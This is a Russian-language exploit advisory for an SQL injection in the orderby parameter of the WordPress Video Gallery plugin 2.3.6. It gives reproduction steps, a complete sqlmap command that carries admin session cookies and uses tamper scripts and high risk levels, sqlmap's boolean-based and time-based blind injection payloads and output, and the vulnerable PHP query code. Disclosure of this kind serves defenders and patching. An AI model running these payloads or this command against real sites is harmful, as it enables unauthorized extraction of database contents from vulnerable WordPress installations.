Название эксплойта: SQL-инъекция в плагине Wordpress Video Gallery - YouTube Gallery and Vimeo Gallery Plugin

Дата: 2024-07-05

Автор эксплойта: tmrswrr

Категория : Webapps

Домашняя страница вендора: https://total-soft.com/wp-video-gallery/

Версия 2.3.6

1. Доступ к панели администратора:

   • Перейдите в панель администратора вашего сайта WordPress.
   • Перейдите в TS Video Gallery > Create > Use Theme и сохраните его.

2. После сохранения вернитесь в TS Video Gallery и нажмите на заголовок: https://localhost/wordpress/wp-admin/admin.php?page=tsvg-admin&orderby=TS_VG_Title&order=asc

3. Ошибка базы данных WordPress: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' desc LIMIT 15 OFFSET 0' at line 1] SELECT id,TS_VG_Title,TS_VG_Option,TS_VG_Sort,created_at FROM wp_ts_galleryv_manager ORDER BY TS_VG_Title\' desc LIMIT 15 OFFSET 0

5. Найдите параметр orderby.

КОМАНДА SQLMAP

python3 sqlmap.py -u "https://localhost/wordpress/wp-admin/admin.php?page=tsvg-admin&orderby=TS_VG_Title&order=desc" --batch --dbms=mysql --thread 10 --no-cast --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 -p orderby --cookie="wordpress_logged_in_d31d6d9d0bfd834c03c5a471886561f0=admin|1720346143|BXq7Kk6kWE6W8OhFfxRfE1vpFt00m9gRiPafjJPDU1N|0b78b25e2683d7f381967019db82b3f3fd9b06f1524ec128af92a74fe7c68e8f; \
wordpress_sec_d31d6d9d0bfd834c03c5a471886561f0=admin|1720346143|BXq7Kk6kWE6W8OhFfxRfE1vpFt00m9gRiPafjJPDU1N|307f68044e4c2632757b13f86f770ceda3c9c7866a0b595b33a7a2f675224a15; \
wordpress_test_cookie=WP Cookie check; \
wp-settings-time-1=1720173805" --thread 10

РЕЗУЛЬТАТ

sqlmap обнаружил следующую(-ие) точку(-и) инъекции при общем количестве 1026 HTTP-запросов:

Parameter: orderby (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: page=tsvg-admin&orderby=(SELECT (CASE WHEN (1078=1078) THEN 0x54535f56475f5469746c65 ELSE (SELECT 2977 UNION SELECT 8545) END))&order=desc Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=tsvg-admin&orderby=TS_VG_Title AND (SELECT 6127 FROM (SELECT(SLEEP(5)))mIWx)&order=desc
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

[08:37:45] [WARNING] изменения, внесённые скриптами модификации, не включены в отображаемое содержимое полезных нагрузок [08:37:45] [INFO] серверная СУБД — MySQL [08:37:45] [PAYLOAD] (seLecT//(cAsE//WHen//(veRSIOn()//liKe//0x254d61726961444225)//ThEN//0x54535f56475f5469746c65//elSE//(seLecT//6685//UNiON//seLecT//9990)//End)) технология веб-приложения: Apache 2.4.54, PHP 8.0.23 серверная СУБД: MySQL >= 5.0.12 (форк MariaDB)

Уязвимый код:

class-tsvg-list.php

public static function tsvg_get_galleries( $tsvg_per_page = 10, $tsvg_page_number = 1 ) { global $wpdb; $tsvg_get_result = $wpdb->get_results( $wpdb->prepare( 'SELECT id,TS_VG_Title,TS_VG_Option,TS_VG_Sort,created_at FROM %1$s %2$s %3$s ORDER BY %4$s %5$s LIMIT %6$d OFFSET %7$d', esc_sql( $wpdb->prefix . 'ts_galleryv_manager' ), isset( $_REQUEST['s'] ) && ! empty( sanitize_text_field( $_REQUEST['s'] ) ) ? "WHERE TS_VG_Title like " : " ", isset( $_REQUEST['s'] ) && ! empty( sanitize_text_field( $_REQUEST['s'] ) ) ? '%' . $wpdb->esc_like( $_REQUEST['s'] ) . '%' : " ", isset( $_REQUEST['orderby'] ) && ! empty( sanitize_text_field( $_REQUEST['orderby'] ) ) ? sanitize_text_field( $_REQUEST['orderby'] ) : "id", isset( $_REQUEST['order'] ) && ! empty( sanitize_text_field($_REQUEST['order']) ) ? ' ' . sanitize_text_field( $_REQUEST['order'] ) : "ASC", (int) $tsvg_per_page, (int) ( $tsvg_page_number - 1 ) * $tsvg_per_page, ), ARRAY_A ); return $tsvg_get_result; }